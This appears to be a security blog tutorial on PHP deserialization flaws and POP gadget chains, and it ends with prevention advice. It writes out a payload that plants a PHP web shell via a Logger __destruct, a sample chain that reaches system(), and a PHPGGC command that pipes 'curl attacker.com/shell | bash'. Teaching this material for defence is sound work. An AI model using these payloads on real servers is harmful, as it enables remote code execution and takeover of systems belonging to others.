PHP Security

PHP Object Deserialization & POP Chains

Youssef
17 May 2026

PHP Object Deserialization & POP Chains

How PHP Serialization Works

PHP's serialize() converts objects/arrays into a string representation. unserialize() reconstructs them. The format encodes class name, properties, and values.

// Object structure
class User {
    public $name = "alice";
    public $isAdmin = false;
}

// Serialized output of new User():
// O:4:"User":2:{s:4:"name";s:5:"alice";s:7:"isAdmin";b:0;}
//
// Format: O:[classname_length]:"[classname]":[prop_count]:{properties...}
// s = string, i = integer, b = boolean, N = null, a = array, O = object

The Vulnerability

When user-controlled data is passed to unserialize(), the attacker can craft a serialized string representing any class available in the application's codebase. During deserialization, PHP automatically calls magic methods.

// VULNERABLE — common locations
$obj = unserialize($_COOKIE['data']);
$obj = unserialize(base64_decode($_GET['token']));
$obj = unserialize(file_get_contents('php://input'));

Magic Methods — the Exploitation Surface

  • __wakeup() — called immediately when unserialize() is invoked
  • __destruct() — called when the object is garbage collected (end of script)
  • __toString() — called when the object is used as a string
  • __get($name) — called on inaccessible property read
  • __set($name, $value) — called on inaccessible property write
  • __call($name, $args) — called on inaccessible method call
  • __invoke() — called when object is used as function

Simple Deserialization Attack

// Vulnerable class in application:
class Logger {
    public $logfile = '/tmp/app.log';
    public $data = '';

    public function __destruct() {
        file_put_contents($this->logfile, $this->data);
    }
}

// Attacker crafts payload:
$evil = new Logger();
$evil->logfile = '/var/www/html/shell.php';
$evil->data = '<?php system($_GET["cmd"]); ?>';

echo serialize($evil);
// O:6:"Logger":2:{s:7:"logfile";s:25:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}

// Send as cookie: ?data=[base64 of payload]
// On script end → __destruct() writes PHP shell → RCE

Property-Oriented Programming (POP Chains)

Real applications rarely have a single class that trivially leads to RCE. Instead, attackers chain multiple classes together — each magic method calls a method on another object, until execution reaches a dangerous sink. This is called a POP chain.

// Chain example: A.__destruct() → B.__toString() → C.__call() → system()

class A {
    public $obj;
    public function __destruct() {
        echo $this->obj;          // triggers B::__toString()
    }
}

class B {
    public $obj;
    public function __toString() {
        return $this->obj->run(); // triggers C::__call()
    }
}

class C {
    public $cmd;
    public function __call($name, $args) {
        system($this->cmd);       // SINK — RCE
    }
}

// Build the chain:
$c = new C(); $c->cmd = 'id';
$b = new B(); $b->obj = $c;
$a = new A(); $a->obj = $b;

echo base64_encode(serialize($a));

Tools — PHPGGC (PHP Generic Gadget Chains)

PHPGGC is the PHP equivalent of ysoserial for Java. It contains ready-made POP chains for popular PHP frameworks and libraries (Laravel, Symfony, Yii, Magento, Guzzle, etc.).

# List available gadget chains
phpggc -l

# Generate payload for Laravel RCE
phpggc Laravel/RCE1 system id | base64

# Generate for Symfony
phpggc Symfony/RCE4 exec 'curl attacker.com/shell | bash' | base64

# With URL encoding
phpggc -u Laravel/RCE1 system 'id'

Finding Deserialization Sinks

# Grep for unserialize in PHP source
grep -r "unserialize" --include="*.php" .

# Also check:
grep -r "fromJson\|fromString\|deserialize" --include="*.php" .
⚠️

Note: The dangerous classes (gadgets) must be available in the application's autoloader. Gadget chains only work if the application uses the vulnerable library version. Always verify what's in composer.json / vendor/.

Prevention

  • Never pass user-controlled data to unserialize()
  • Use JSON (json_decode()) instead of PHP serialization for user data
  • Implement __wakeup() with strict validation to reject unexpected states
  • Use PHP 7+'s unserialize($data, ['allowed_classes' => false]) or whitelist specific classes
// PHP 7+ — restrict allowed classes during unserialize
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);

// Better — use JSON instead
$data = json_decode($_COOKIE['data'], true); // no object instantiation

Key Insight: The attack surface of deserialization is the entire application's class hierarchy. The more third-party libraries an application uses, the more gadget chain candidates are available. Always check PHPGGC against the application's dependency stack.